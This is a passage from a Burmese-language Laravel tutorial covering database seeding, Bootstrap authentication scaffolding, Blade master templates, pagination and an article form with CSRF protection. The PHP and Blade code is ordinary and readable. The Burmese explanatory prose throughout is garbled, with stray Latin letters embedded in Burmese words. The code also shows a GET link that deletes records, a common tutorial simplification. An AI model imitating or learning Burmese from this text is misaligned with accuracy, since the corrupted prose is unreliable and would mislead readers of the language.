     * Seed the application's database.
     *
     * @return void
     */
    public function run()
    {
        // $this->call(UserSeeder::class);
    }
}

run() Method ထဲမှာ Factory ရဲ့ အကူအညီနဲ့ နမူနာ Data ကြေတွ Table ထဲကို ထည့်ကြေပးတဲ့ကုဒ်ကို အခု
လုိ ကြေရးကြေပးရမှာ goစ်ပါတယ်။

https://github.com/fzaninotto/Faker
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 PHP 

<?php

namespace Database\Seeders;

use Illuminate\Database\Seeder;
use App\Models\Article;

class DatabaseSeeder extends Seeder
{
    /**
     * Seed the application's database.
     *
     * @return void
     */
    public function run()
    {
        Article::factory()->count(20)->create();
    }
}

ဒါဟာ ကြေစာကြေစာကတည်ကြေဆာက်လုိက်တဲ့  ArticleFactory က gပန်ကြေပးတဲ့ ကြကိုတင်သတ်မှတ်ထားတဲ့
Property  ကိုသုံးပြပီး  Model  အခု  (၂၀)  တည်ကြေဆာက်လုိက်တဲ့သကြေyာပါ။  တစ်နည်းအားgoင့်  articles
Table ထဲကို Record အကြေeကာင်း (၂၀) ထည့်သွင်းလုိက်gခင်းပဲ goစ်ပါတယ်။ ဒီကုဒ်ကို Run ကြေပးoုိက့ြေတာ့လုိပါ
ကြေသးတယ်။ Run ကြေပးလုိက်မှာ Record ကြေတွက ဝင်သွားမှာပါ။ ဒီလုိ Run ရပါတယ် -

php artisan db:seed

Database Table  နဲ့  Sample Data  ကြေတွကို  Manual  တစ်ခုချင်းလုပ်စရာမလုိyဲ အခုလုိ ကုဒ်ကြေလးကြေရးပြပီး
Run  ယုံနဲ့  စီမံလုိရ့တယ်ဆိုတာ  လက်ကြေတွ့မှာ  ကြေတာ်ကြေတာ်အသုံးဝင်တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွပါ။
အထူးသgoင့် အများနဲပူ့းကြေပါင်းအလုပ်လုပ်တဲ့အခါ တစ်ကြေယာက်က   Table Structure   gပင်လုိက်လုိ့ ကိုယ့်ဆီ  
မှာ  ကုဒ်ကအလုပ်မလုပ်ကြေတာ့yူး  ဆိုတာမျ ို း  goစ်စရာမလုိကြေတာ့ပါyူး။  သူထည့်ကြေပးလုိက်တဲ့  Migration
ကုဒ်ကို Run လုိက်ယုံနဲ့ Updated Structure ကို ကိုယ့်ဆီမှာလည်း ရသွားမှာ goစ်ပါတယ်။
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Model
အခုဆိုရင်  Table  တည်ကြေဆာက်gခင်း၊  Sample  Data  ထည့်သွင်းgခင်းကြေတွ  ပြပီးသွားပြပီမုိလုိ့့  ဒီ  Data  ကို
အသုံးချပါကြေတာ့မယ်။ ArticleController.php oုိင်ကိုoွင့်ပြပီး အခုလုိgပင်ကြေပးပါ။

 PHP 

<?php

namespace App\Http\Controllers;

use App\Models\Article;
use Illuminate\Http\Request;

class ArticleController extends Controller
{
    public function index()
    {
        $data = Article::all();

        return view('articles.index', [
            'articles' => $data
        ]);
    }

    public function detail($id)
    {
        return "Controller - Article Detail - $id";
    }
}

ထိပ်နားမှာ  ကျွန်ကြေတာ်တိုတ့ည်ကြေဆာက်ထားတဲ့  Model  goစ်တဲ့  App\Models\Article ကို  Import
လုပ်ထားတာ သတိgပုပါ။ ပြပီးတဲ့အခါ Article::all() Method ကိုသုံးပြပီး articles Table ထဲက
ရှိ  Record အားလုံးကို ထုတ်ယူထားပါတယ်။ အရမ်းလွယ်ပါတယ်။ SELECT * FROM articles စ
သgoင့်  SQL Query ကြေတွ မလုိအပ်ကြေတာ့ပဲ သတ်မှတ်ထားတဲ့  Method ကြေတွ  Property  ကြေတွကကြေနတစ်ဆင့်
Data ကို အခုလုိ စီမံနိုင်gခင်း goစ်ပါတယ်။ စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလုိgoစ်မှာပါ။
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ဒါဟာ articles Table ထဲက Data ကြေတွကို ကြေတွ့ gမင်ကြေနရgခင်းပဲ goစ်ပါတယ်။

ဒီအခန်းမှာကြေတာ့  ဒီကြေလာက်နဲခ့ဏနားeကပါဦးစို။့  ကြေနာက်အခန်းကြေတွမှာ  Model  နဲပ့တ်သက်တဲ့  ကိစ္စကြေတွ
ဆက်ကြေလ့လာစရာ ကျန်ရှိပါကြေသးတယ်။ 
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အခန်း (၄၇) – Laravel Authentication

Model နဲ့ပတ်သက်ပြပီး ကျန်ကြေနတာကြေတွ ဆက်မeကည့်ခင် UI ပုိင်း သပ်သပ်ရပ်ရပ်goစ်ကြေစoုိက့ိုလည်း တစ်ခါ
ထဲ တွဲပြပီး  လုပ်သွားပါဦးမယ်။ ဒီအတွက်  Laravel  မှာ  Bootstrap CSS Framework ကို  အသုံးgပုoန်တီး
ထားတဲ့ UI တစ်ခါထဲ ပါပါတယ်။ ပြပီးကြေတာ့ User Login, Register, Logout စတဲ့ Authentication (Auth)
လုပ်ကြေဆာင်ချက်ကြေတွလည်း ကြကိုတင်ကြေရးကြေပးထားပြပီးသာ ပါပါတယ်။

အရင် Laravel Version အကြေဟာင်းကြေတွမှာဆိုရင် UI နဲ့ Auth က အတွဲလုိက်ပါ။ make:auth ကို အသုံးgပု
ပြပီး Authentication ကုဒ်oုိင်ကြေတွ တည်ကြေဆာက်လုိက်တာနဲ့ UI ပါ တစ်ခါထဲ ပါသွားတာပါ။ အခုကြေနာက်ပုိင်း
Version ကြေတွမှာကြေတာ့ UI ကသပ်သပ် Auth က သပ်သပ်goစ်သွားပါပြပီ။ သပ်သပ်စီ သံုးလုိရ့သလုိ တွဲသံုးလုိ့
လည်း ရပါတယ်။ ဒါကြေပမယ့် အသုံးgပုလုိရင်  laravel/ui Package  ကို  Install  လုပ်ကြေပးoုိ့  လုိသွားပါ
တယ်။ တစ်ခါထဲ တွဲထည့်မကြေပးကြေတာ့ပါyူး။ ဒါကြေeကာင့် laravel/ui ကို အခုလုိ Install လုပ်ကြေပးပါ။

composer require laravel/ui "4.*"

လက်ရှိ Laravel ပကြေရာင်္ဂျက်oုိဒါထဲမှာ Run ရမှာပါ။ ဒီနည်းနဲ့ ထပ်မံထည့်သွင်း အသံုးgပုလုိတဲ့ တgခား PHP
Package  ကြေတွကိုလည်း  ထပ်ထည့်လုိ့  ရပါတယ်။  Laravel  10  အတွက်  UI  4  ကို  အသုံးgပုရမှာgoစ်လုိ့
ကြေနာက်ဆံုးက 4.* ဆိုတဲ့  Version Number ကို ထည့်ကြေgပာရတာပါ။ laravel/ui ကို  Install  လုပ်ပြပီးပြပီ
ဆိုရင် Auth နဲ့ UI အတွက် ကုဒ်ကြေတွကို အခုလုိ အတွဲလုိက် oန်တီးယူလုိရ့ပါပြပီ။ 

php artisan ui bootstrap --auth



PWD 2023 – အခန်း (၄၇) – Laravel Authentication 689

UI  မှာ  (၃)  မျ ို းရှိပါတယ်။  vue, react နဲ့  bootstrap ပါ။ ဒီစာအုပ်မှာကြေတာ့  Bootstrap  ကိုပဲ  သုံး
သွားမှာပါ။ အကြေပါ်က Command က လုိအပ်တဲ့oုိင်ကြေတွ ကြေဆာက်ကြေပးသွားတယ်။ ပြပီးကြေတာ့  Bootstrap  ကို
သုံးမယ်လုိ့ သတ်မှတ်လုိက်ပါတယ်။ တစ်ကယ့် Bootstrap CSS Framework oုိင်ကြေတွကိုကြေတာ့ Download
မလုပ်ရကြေသးပါyူး။ ဒါကြေeကာင့် ဒီ Command ကြေတွ ဆက် Run ကြေပးoုိ့ လုိပါကြေသးတယ်။

npm install
npm run dev

ဒီ  Command  ကြေတွက  Composer  မဟုတ်ကြေတာ့ပါyူး။  NPM  goစ်သွားပါပြပီ။  Frontend Package  ကြေတွနဲ့
JavaScript Package  ကြေတွအတွက်  NPM ကိုပဲ သုံးeကကြေလ့ရှိတာပါ။ ဒါကြေeကာင့် ကိုယ့်စက်ထဲမှာ  NPM ကို
Install  လုပ်ထားပြပီး  goစ်oုိက့ြေတာ့ လုိပါကြေသးတယ်။ မရှိကြေသးရင်  nodejs.org ကကြေန  Node  ကို  Download
လုပ်ပြပီး Install လုပ်လုိက်ရင် NPM လည်း တစ်ခါထဲ ပါဝင်သွားပါလိမ့်မယ်။

npm  install Command  က  Bootstrap  အပါအဝင်  လုိအပ်တဲ့  Frontend  Library  ကြေတွကို
Download  လုပ်ကြေပးသွားမှာgoစ်ပြပီး၊  npm run dev Command  ကကြေတာ့  CSS  ကုဒ်ကြေတွ  JavaScript
ကုဒ်ကြေတွကို အသင့်အသံုးgပုနိုင်ကြေအာင် Vite လုိ့ကြေခါ်တဲ့  Client-side နည်းပညာတစ်မျ ို းကို သံုးပြပီး Compile
လုပ်ကြေပးမှာ goစ်ပါတယ်။ သူက Dev Server အကြေနနဲ့ ကြေစာင့်eကည့်ပြပီး၊ View မှာ တစ်ခုခုgပင်လုိက်တိုင်း အလုိ
အကြေလျှာက် Client-side ကုဒ်ကြေတွကို  Re-compile လုပ်ကြေပးသွားမှာgoစ်လုိ၊့  Run လက်စ Vite Dev Server
ကို မပိတ်လုိက်yဲ ဒီအတိုင်း ဆက် Run ထားကြေပးoုိ ့လုိအပ်ပါတယ်။

ဒီ Command ကြေတွအားလုံး Run လုိ့ စံုပြပီဆိုရင်ကြေတာ့ /login, /register စတဲ့ URL ကြေတွနဲ့ စမ်းသပ်
အသုံးgပုလုိရ့သွားပါပြပီ။

https://nodejs.org/
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ပြပီးခဲ့တဲ့ အခန်းမှာ Migration ကုဒ်ကြေတွကို  Run တဲ့အခါ User Data ကြေတွသိမ်းoုိ့အတွက် လုိအပ်တဲ့  Table
လည်း တစ်ခါထဲ  ပါဝင်သွားပြပီး  goစ်ပါတယ်။ ဒါကြေeကာင့်  User Account  ကြေတွကြေဆာက်၊  Login  ကြေတွဝင်ပြပီး
ကြေတာ့ စမ်းမယ်ဆိုရင်လည်း စမ်းeကည့်လုိရ့တာကို ကြေတွ့ရမှာgoစ်ပါတယ်။ 
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အခန်း (၄၈) – Laravel Master Template

အခုဆိုရင်  UI Package ကိုလည်း ထည့်သွင်းပြပီးgoစ်လုိ့ ကျွန်ကြေတာ်တို့ ကြေရးသားလက်စကုဒ်ကို သပ်သပ်ရပ်
ရပ်goစ်ကြေအာင် gပင်eကပါမယ်။ View Template ကြေတွ ကြေရးတဲ့အခါ တူညီတဲ့ကုဒ်ကို ထပ်ခါထပ်ခါ ကြေရးစရာ မ
လုိyဲ တစ်ကြကိမ်ကြေရးထားပြပီး လုိအပ်တဲ့ကြေနရာကကြေန gပန်ယူသုံးလုိရ့တဲ့နည်းကြေတွ ရှိပါတယ်။ အ့ဲဒီထဲက အကြေရး
အကြကီးဆံုးနည်း တစ်ခုကကြေတာ့ Master Template goစ်ပါတယ်။

Master  Template  ကြေတွကို  ကိုယ်တိုင်ကြေရးရင်လည်း  ရနိုင်ကြေပမယ့်  UI  Package  ကို  ထည့်သွင်းလုိက်တဲ့
အတွက် Master Template တစ်ခု အသင့်ပါဝင်သွားလုိ့ အခုကြေတာ့ အ့ဲဒီ Template ကို ဆက်လက်အသံုးgပု
ပြပီး  ကြေရးသားသွားမှာပါ။ တည်ကြေနရာကကြေတာ့  /resources/views/layouts/app.blade.php
goစ်ပါတယ်။  ကျွနက်ြေတာ်တို့ကြေရးသားလက်စgoစ်တဲ့  /resources/views/articles oုိဒါထဲက
index.blade.php ကို အခုလုိ gပင်ရပါမယ်။

 HTML/Blade/PHP 

@extends("layouts.app")

@section("content")
  <div class="container">
    @foreach($articles as $article)
      <div class="card mb-2">
        <div class="card-body">
          <h5 class="card-title">{{ $article->title }}</h5>
          <div class="card-subtitle mb-2 text-muted small">
            {{ $article->created_at->diffForHumans() }}
          </div>
          <p class="card-text">{{ $article->body }}</p>
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          <a class="card-link" 
            href="{{ url("/articles/detail/$article->id") }}">
            View Detail &raquo;
          </a>
        </div>
      </div>
    @endforeach
  </div>
@endsection

ပထမဆံုးအကြေနနဲ့  Blade  ရဲ့  @extends() ကိုသုံးပြပီး  layouts/app ကို  လှမ်းယူလုိက်ပါတယ်။ ပြပီး
ကြေတာ့မှ  အ့ဲဒီ  Layout  ထဲမှာ  Content  အကြေနနဲ့  ကြေoာ်gပရမယ့်  Template  ကုဒ်ကို
@section("content") ကိုသုံးပြပီး ကြေရးကြေပးလုိက်တာပါ။ ဒါကြေeကာင့် layouts/app Template ထဲ
မှာ ကြေပးလုိက်တဲ့ Content နဲ ့gပကြေပးတဲ့ ရလဒ်ကို ရမှာ goစ်ပါတယ်။

Content  အကြေနနဲ့  Bootstrap  CSS  Framework  ရဲ့  လုပ်ကြေဆာင်ချက်ကြေတွကို  အသံုးgပုပြပီး  title,
created_at နဲ့  body တိုက့ို  ကြေoာ်gပထားပါတယ်။  ထူးgခားချက်အကြေနနဲ့  created_at ကြေပါ်မှာ
diffForHumans() Method  ကို သုံးထားလုိ့ ရက်စွဲအချနိ်ကို  3 seconds ago, 1 day ago  စသgoင့်
oတ်ရှုနားလည်ရ လွယ်ကူတဲ့ပံုစံနဲ့ ကြေoာ်gပကြေပးမှာ goစ်ပါတယ်။ ကြေနာက်တစ်ချက်ကကြေတာ့ View Detail Link
ထည့်ထားပြပီး href အတွက် လိပ်စာကို  url() Function နဲ့ ကြေပးထားပါတယ်။ ဒါကြေeကာင့် အ့ဲဒီ Link ကို
နှိပ်လုိက်ရင်  /articles/detail/{id} Route  ကို  ကြေရာက်သွားမှာgoစ်ပါတယ်  (Double  Quote
String ကိုသုံးထားတာ သတိgပုပါ)။ စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလုိgoစ်မှာပါ။
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Bootstrap ကိုအသုံးgပုထားတာgoစ်လုိ့ ဒီထက်ပုိသပ်ရပ်ကြေအာင် လုပ်မယ်ဆိုရင်လည်း အလွယ်တစ်ကူ လုပ်
လုိရ့နိုင်ပါတယ်။ 

လက်စနဲ့  အသံုးဝင်တဲ့  လုပ်ကြေဆာင်ချက်တစ်ချ ို ့ထည့်eကည့်ပါဦးမယ်။  ArticleController.php
ထဲက index() Method ကို အခုလုိgပင်eကည့်လုိက်ပါ။

 PHP 

public function index()
{
    $data = Article::latest()->paginate(5);

    return view('articles.index', [
        'articles' => $data
    ]);
}

မူလက Article::all() ကို အသံုးgပုထားရာကကြေန Article::latest() ကို ကြေgပာင်းသုံးလုိက်
တာပါ။  အဓိပ္ပါယ်က  Record  ကြေတွကို  ထုတ်ယူတဲ့အခါ  ကြေနာက်ဆံုးထည့်သွင်းထားတဲ့  Record  ကို  အရင်
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ထုတ်ယူမယ်၊ တနည်းအားgoင့် ကြေgပာင်းgပန်စီပြပီး ထုတ်ယူမယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ ပြပီးကြေတာ့  paginate()
Method  ကိုလည်း  သုံးထားပါကြေသးတယ်။ စာမျက်နှာကြေတွ  ခွဲgပမယ်၊  တစ်မျက်နှာကို  (၅)  ခုပဲgပမယ်ဆိုတဲ့
အဓိပ္ပါယ်ပါ။ ဒါကြေတွကို ကိုယ့်yာသာကြေရးရမယ်ဆိုရင် အလုပ်ရှုပ်ပါတယ်။ အခုကြေတာ့ Framework မှာ ဒီလုိ
လုပ်ကြေဆာင်ချက်ကြေတွ အသင့်ပါလုိ ့ယူသံုးလုိက်ယုံပါပဲ။

စမ်းeကည့်နိုင်oုိအ့တွက် articles/index Template မှာ ဒီလုိကြေလးထပ်ထည့်ကြေပးပါ။

 HTML/Blade/PHP 

@extends("layouts.app")

@section("content")
  <div class="container">

    {{ $articles->links() }}

    @foreach($articles as $article)
      …
    @endforeach
  </div>
@endsection

ကုဒ်တိုသွားကြေအာင်  အကုန်gပန်မgပကြေတာ့ပါyူး။  ထပ်တိုးလုိက်တဲ့အပုိင်းကိုပဲ  ဦးစားကြေပးပြပီး  gပထားတာပါ။
$articles ကြေပါ်မှာ links() Method ကို Run ထားတဲ့ ကုဒ်တစ်ကြေeကာင်းပဲ ထပ်goည့်လုိက်တာပါ။ ဒီ
Method  က စာမျက်နှာ  ခွဲgပတဲ့အခါ  ကြေနာက်စာမျက်နှာကြေတွကို  သွားလုိရ့တဲ့  Pagination  Links  ကြေတွကို
ထုတ်ကြေပးတဲ့ Method ပါ။

gပဿနာတစ်ခုကြေတာ့ ရှိပါတယ်။ Laravel မှာ Pagination Links ကြေတွgပတဲ့  UI အတွက် TailwindCSS ကို
Default  အကြေနနဲ့  အသုံးgပုထားပါတယ်။ ကျွန်ကြေတာ်တိုက့  လက်ရှိ  Bootstrap  ကို  အသံုးgပုကြေနတာgoစ်လုိ့
Pagination Links ကြေတွgပတဲ့အခါ Bootstrap ကိုအသုံးgပုပြပီး gပကြေပးoုိ့ ထပ်တိုးသတ်မှတ်ကြေပးoုိ့ လုိအပ်လာ
ပါတယ်။  ဒါကြေeကာင့်  apps/Providers oုိဒါထဲက  AppServiceProvider.php oုိင်မှာ  အခုလုိ
goည့်ကြေရးကြေပးရပါမယ်။
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 PHP 

<?php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;
use Illuminate\Pagination\Paginator;

class AppServiceProvider extends ServiceProvider
{
    /**
     * Register any application services.
     *
     * @return void
     */
    public function register()
    {
        //
    }

    /**
     * Bootstrap any application services.
     *
     * @return void
     */
    public function boot()
    {
        Paginator::useBootstrap();
    }
}

ကျန်ကုဒ်ကြေတွကို  နင်္ဂိုရှိတဲ့ကုဒ်ကြေတွgoစ်ပြပီး  Highlight  လုပ်gပထားတဲ့အပုိင်းကြေတွကိုပဲ  ထပ်တိုးရမှာပါ။
Paginator Class  ကို  Import  လုပ်ပြပီး  ကြေအာက်က  boot() Method  မှာ  Paginator::
useBootstrap() ကို ကြေခါ်ကြေပးလုိက်တာပါ။

ပြပီးတဲ့အခါ စမ်းeကည့်လုိရ့ပါပြပီ။ ရလဒ်က ဒီလုိgoစ်သွားပါလိမ့်မယ်။
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စာမျက်နှာ  1,  2,  3  စသgoင့်  Paging  Links  ကြေတွ  ပါဝင်သွားတာပါ။  ကြေနာက်တစ်ဆင့်အကြေနနဲ့
ArticleController ရဲ့ detail() Method ကို အခုလုိgပင်ကြေပးရပါမယ်။

 PHP 

public function detail($id)
{
    $data = Article::find($id);

    return view('articles.detail', [
        'article' => $data
    ]);
}

Article::find() Method  ကိုသုံးပြပီး  ကြေပးလုိက်တဲ့  ID  နဲ့  ကိုက်ညီတဲ့  Record  တစ်ကြေeကာင်းကို
ထုတ်ယူလုိက်တာပါ။ ထုတ်ယူရရှိလာတဲ့  Data  ကို  သုံးပြပီး  Detail Template  ကို  gပခိုင်းထားgခင်း  goစ်ပါ
တယ်။ ဒါကြေeကာင့်  Detail  Template  ထပ်ကြေရးပါမယ်။  /recources/views/articles oုိဒါထဲမှာ
detail.blade.php အမည်နဲ့  View  oုိင်တစ်ခု  ထပ်တည်ကြေဆာက်ကြေပးပါ။  ပြပီးရင်  ကြေပးထားတဲ့ကုဒ်ကို
ကြေရးသားရမှာ goစ်ပါတယ်။
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 HTML/Blade/PHP 

@extends("layouts.app")

@section("content")
  <div class="container">
    <div class="card mb-2">
      <div class="card-body">
        <h5 class="card-title">{{ $article->title }}</h5>
        <div class="card-subtitle mb-2 text-muted small">
          {{ $article->created_at->diffForHumans() }}
        </div>
        <p class="card-text">{{ $article->body }}</p>
        <a class="btn btn-warning"
          href="{{ url("/articles/delete/$article->id") }}">
          Delete
        </a>
      </div>
    </div>
  </div>
@endsection

ဒီကုဒ်က  Index Template  အတွက်ကုဒ်နဲ့  သကြေyာသyာဝ အတူတူပါပဲ။ ကွာသွားတာက  Record  တစ်
ကြေeကာင်းတည်းမုိလုိ့့  foreach() ကြေတွyာကြေတွနဲ့  Loop လုပ်ကြေနစရာမလုိကြေတာ့yဲ ကြေoာ်gပထားgခင်း goစ်ပါ
တယ်။  $article နဲ့  $articles မမှားပါကြေစနဲ့။  Variable  အမည်ကြေလးကြေတွ  င်္ဂရုစိုက်ပါ။  အရမ်းမှား
တတ်eကပါတယ်။ ဒီ  Template  ရဲ့ ကြေနာက်ထပ်ထူးgခားချက်ကကြေတာ့ View Detail  မပါကြေတာ့yဲ  Delete ခ
လုပ်တစ်ခု  ပါဝင်သွားgခင်း  goစ်ပါတယ်။  အ့ဲဒီ  Delete  ခလုပ်ကို  နှိပ်လုိက်ရင်  /articles/delete/
{id} Route  ကို  သွားမှာပါ  (Double Quote String  ကိုသုံးတာ သတိgပုပါ၊ မှားeကလွန်းလုိ့  သတိကြေပးရ
တာပါ)။ 

/articles/delete/{id} Route မရှိကြေသးပါyူး။  ကြေရးကြေပးရမှာပါ။  အခုမကြေရးကြေသးပါyူး။  ကြေနာက်မှ
ကြေရးပါမယ်။  လက်ရှိအကြေနအထားကို  စမ်းeကည့်လုိရ့ပါပြပီ။  Article  List  ထဲက နှစ်သက်ရာတစ်ခုကို  View
Detail နှိပ်eကည့်ရင် အခုလုိရလဒ်ကို ရရှိပါလိမ့်မယ်။
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ဆက်လက်ပြပီး  ဒီအခန်းအတွက်  ကြေနာက်ဆံုး  Template  နဲ့ပတ်သက်တဲ့  goည့်စွက်ချက်အကြေနနဲ့
/resources/views/layouts ထဲက app.blade.php ကိုoွင့်eကည့်ပါ။ <!-- Left Side
of Navbar --> ဆိုတဲ့ကြေနရာကြေလးကို ရှာပြပီး အခုလုိgoည့်စွက်ကြေပးလုိက်ပါ။

 HTML/Blade 

<!-- Left Side Of Navbar -->
<ul class="navbar-nav mr-auto">
    <li class="nav-item">
        <a class="nav-link text-success"
            href="{{ url('/articles/add') }}">
            + Add Article
        </a>
    </li>
</ul>

ဒါဟာ  Article  အသစ်ကြေတွ  ထပ်ထည့်နို််ငoုိ့အတွက်  Add  Article  ခလုပ်ကို  ထည့်သွင်းလုိက်gခင်းgoစ်ပါ
တယ်။ နှိပ်လုိက်ရင် /articles/add Route ကို ကြေရာက်သွားမှာပါ။ အ့ဲဒီ Route လည်း မကြေရးရကြေသးပါ
yူး။ ကြေနာက်တစ်ခန်းကျကြေတာ့မှ ဆက်ကြေရးမှာ goစ်ပါတယ်။ အခုကြေန ရလဒ်ကကြေတာ့ ဒီလုိgoစ်မှာပါ။
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Laravel ဆိုတဲ့ ပကြေရာင်္ဂျက်ကြေခါင်းစဉ် ကြေyးနားမှာ + Add Article ခလုပ်တစ်ခု ဝင်သွားတာပါ။ အလုပ်ကြေတာ့
မလုပ်ကြေသးပါyူး။ အလုပ်လုပ်ကြေအာင် ကြေနာက်တစ်ခန်းမှာ ဆက်ကြေရးeကမှာ goစ်ပါတယ်။

goည့်စွက်မှတ်သားသင့်တာကကြေတာ့၊  Laravel  ဆိုတဲ့  ပကြေရာင်္ဂျက်ကြေခါင်းစဉ်ကို  gပင်ချင်ရင်  .env oုိင်ထဲက
APP_NAME ကို ကိုယ်ကြကိုက်တဲ့ နာမည်နဲ ့gပင်ကြေပးလုိက်လုိ့ ရတယ်ဆိုတဲ့အချက်ပဲ goစ်ပါတယ်။ ဥပမာ -

 ENV 

APP_NAME="Laravel Blog"
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အခန်း (၄၉) – Laravel Form

ဒီအခန်းမှာကြေတာ့ HTML Form နဲ့ Request Data ကြေတွကို စီမံတဲ့အပုိင်း ဆက်eကပါမယ်။ UI ပုိင်းက လုိအပ်
မယ့် ခလုပ်ကြေတွကြေတာ့ ထည့်ခဲ့ပြပီးသားပါ။ လုိအပ်မယ့် Route ကြေတွ မထည့်ရကြေသးလုိ့ ထပ်ထည့်ရပါဦးမယ်။ ဒီ
လုိပါ -

 PHP 

Route::get('/articles/add', [ArticleController::class, 'add']);

Route::post('/articles/add', [
ArticleController::class,
'create'

]);

Route::get('/articles/delete/{id}', [
ArticleController::class,
'delete'

]);

Add  အတွက်  Route  နှစ်ခုနဲ့  Delete  အတွက် တစ်ခုပါ။  Add  အတွက်  Route  က နှစ်ခုဆိုကြေပမယ့်  URL
လိပ်စာက တစ်ခတုည်းပါ။ သတိထားeကည့်ပါ။ တူညီတဲ့လိပ်စာကိုပဲ  get() Method နဲတ့စ်ခု၊  post()
Method နဲတ့စ်ခု ကြေရးထားတာပါ။ လိပ်စာရုိက်ထည့်ပြပီး (သုိ့) Link ခလုပ်ကိုနှိပ်ပြပီး /articles/add ကို
လာရင် ArticleController@add အလုပ်လုပ်သွားမှာgoစ်ပြပီး၊  HTML Form ကကြေန Submit  ခလုပ်
နှိပ်ပြပီး  /articles/add ကို  လာရင်ကြေတာ့  ArticleController@create အလုပ်လုပ်သွားမှာ
ပါ။
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ဆက်လက်ပြပီး  HTML Form  ပါဝင်တဲ့  View Template  တစ်ခု  တည်ကြေဆာက်ပါမယ်။  /resources/
views/articles oုိဒါထဲမှာ  add.blade.php အမည်နဲ့  oုိင်တစ်ခုကြေဆာက်ပါ။  ပြပီးရင်  ဒီ  HTML
Form ကုဒ်ကို ကြေရးသားကြေပးပါ။

 HTML/Blade/PHP 

@extends('layouts.app')

@section('content')
  <div class="container">
    <form method="post">
      @csrf
      <div class="mb-3">
        <label>Title</label>
        <input type="text" name="title" class="form-control">
      </div>
      <div class="mb-3">
        <label>Body</label>
        <textarea name="body" class="form-control"></textarea>
      </div>
      <div class="mb-3">
        <label>Category</label>
        <select class="form-select" name="category_id">
          @foreach($categories as $category)
            <option value="{{ $category['id'] }}">
              {{ $category['name'] }}
            </option>
          @endforeach
        </select>
      </div>
      <input type="submit" value="Add Article" 
         class="btn btn-primary">
    </form>
  </div>
@endsection

ဒီကုဒ်မှာ အထူးသgoင့် သတိgပုသင့်တာ  (၂)  ချက်ရှိပါတယ်။ ပထမတစ်ချက်ကကြေတာ့  <form> Element
အတွင်းမှာ @csrf လုိ့ကြေခါ်တဲ့  Blade Directive တစ်ခု ပါဝင်ပါတယ်။ Cross-site Request Forgery လုိ့
ကြေခါ်တဲ့  လံုခြခံုကြေရးgပဿတစ်ခုရှိပြပီး  Laravel  က  ဒီgပဿနာကို  ကြေgoရှင်းကြေပးထားgခင်း  goစ်ပါတယ်။  CSRF
အကြေeကာင်းကိုကြေတာ့ eကားgoတ်  မကြေgပာနိုင်ပါyူး။  လုိရင်းအကြေနနဲ့  လံုခြခံုကြေရးအတွက်  လုိအပ်တဲ့  လုပ်ကြေဆာင်
ချက်goစ်ပြပီး @csrf မပါရင် Laravel က အ့ဲဒီကြေoာင်ကကြေပးပုိတ့ဲ့ လုပ်ငန်းကို လက်ခံ အလုပ်လုပ်မှာ မဟုတ်
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yူးလုိပဲ့  မှတ်ထားကြေပးပါ။  ဒုတိယတစ်ချက်ကကြေတာ့  category_id Select  Box  အတွက်
$categories ကို  Loop  လုံးပြပီး  ကြေရးသားထားလုိ့  ဒီ  View  Template  အလုပ်လုပ်oုိအ့တွက်
$categories လုိအပ်မှာgoစ်ပါတယ်။ ကျန်တာကြေတွကကြေတာ့ ရုိးရုိး  HTML From တစ်ခုမှာ ကြေရးကြေလ့ကြေရး
ထ ရှိတဲ့ ကုဒ်ကြေတွချည်းပါပဲ။

အလုပ်ကြေတာ့  လုပ်ဦးမှာ  မဟုတ်ပါyူး။  ArticleController@add Method  ကို  မကြေရးရကြေသးတဲ့
အတွက်ပါ။ ဒါကြေeကာင့် ArticleController ထဲမှာ add() Method ကို အခုလုိကြေရးကြေပးပါ။

 PHP 

public function add()
{
    $data = [
        [ "id" => 1, "name" => "News" ],
        [ "id" => 2, "name" => "Tech" ],
    ];

    return view('articles.add', [
        'categories' => $data
    ]);
}

articles/add Template  ကို  $categories နဲအ့တူ gပခိုင်းတဲ့ကုဒ်goစ်ပါတယ်။ ဒါကြေeကာင့်အခုကြေန
စမ်းeကည့်မယ်ဆိုရင် စမ်းeကည့်လုိရ့ပါပြပီ။ /articles/add လုိ့  URL လိပ်စာ ရုိက်ထည့်လုိရ့သလုိ ပြပီးခဲ့
တဲ့အခန်းမှာ ထည့်ခဲ့တဲ့ + Add Article ခလုပ်ကို နှိပ်လုိလ့ည်း ရပါတယ်။
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Add  Article  ကြေoာင်ကိုကြေတာ့  gမင်ရပါပြပီ။  နမူနာစမ်းထည့်လုိ့ကြေတာ့  မရကြေသးပါyူး။  ဒီကြေoာင်ကကြေန  Add
Article ခလုပ်ကို  နှိပ်လုိက်ရင်  /articles/add Route  ကို  POST  နဲ့သွားမှာgoစ်ပါတယ်။ ဒါကြေeကာင့်
ArticleController@create Method  ကြေရးကြေပးoုိ့  လုိပါတယ်။  create() Method  ရဲ့ တာဝန်
ကကြေတာ့ ကြေoာင်မှာ ကြေရးgoည့်လုိက်တဲ့ အချက်အလက်ကြေတွကို သိမ်းကြေပးရမှာပါ။ ဒီလုိကြေရးရပါတယ်။

 PHP 

public function create()
{
    $article = new Article;
    $article->title = request()->title;
    $article->body = request()->body;
    $article->category_id = request()->category_id;
    $article->save();

    return redirect('/articles');
}

ပထမဆံုး  Article Model အသစ်တစ်ခုတည်ကြေဆာက်ပြပီး title, body, category_id ဆိုတဲ့
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Property  ကြေတွ  သတ်မှတ်လုိက်တာပါ။  ကြေoာင်ကကြေပးပုိတ့ဲ့  Data  ကို  လုိချင်ရင်  Request  $request
Object  (သုိ့မဟုတ်)  request() Function  ကကြေနယူလုိ့  ရပါတယ်။  နမူနာမှာကြေတာ့  request()
Function ကကြေန ယူထားပါတယ်။ လုိအပ်တဲ့ Property ကြေတွသတ်မှတ်ပြပီး save() ကို Run ကြေပးလုိက်ရင်
ရပါပြပီ။ INSERT INTO ကြေတyွာကြေတွ ကိုယ့်yာသာ လုပ်ကြေနစရာမလုိyဲ Laravel က Table ထဲမှာ Record
အသစ်တစ်ခုကို ထည့်ကြေပးသွားမှာ goစ်ပါတယ်။ စမ်းeကည့်လုိရ့ပါပြပီ။

စမ်းeကည့်တဲ့အခါ ကြေoာင်မှာ Data ကို စံုကြေအာင်မgoည့်ပဲ စမ်းခဲ့ရင် ဒီလုိ Error တက်နိုင်ပါတယ်။

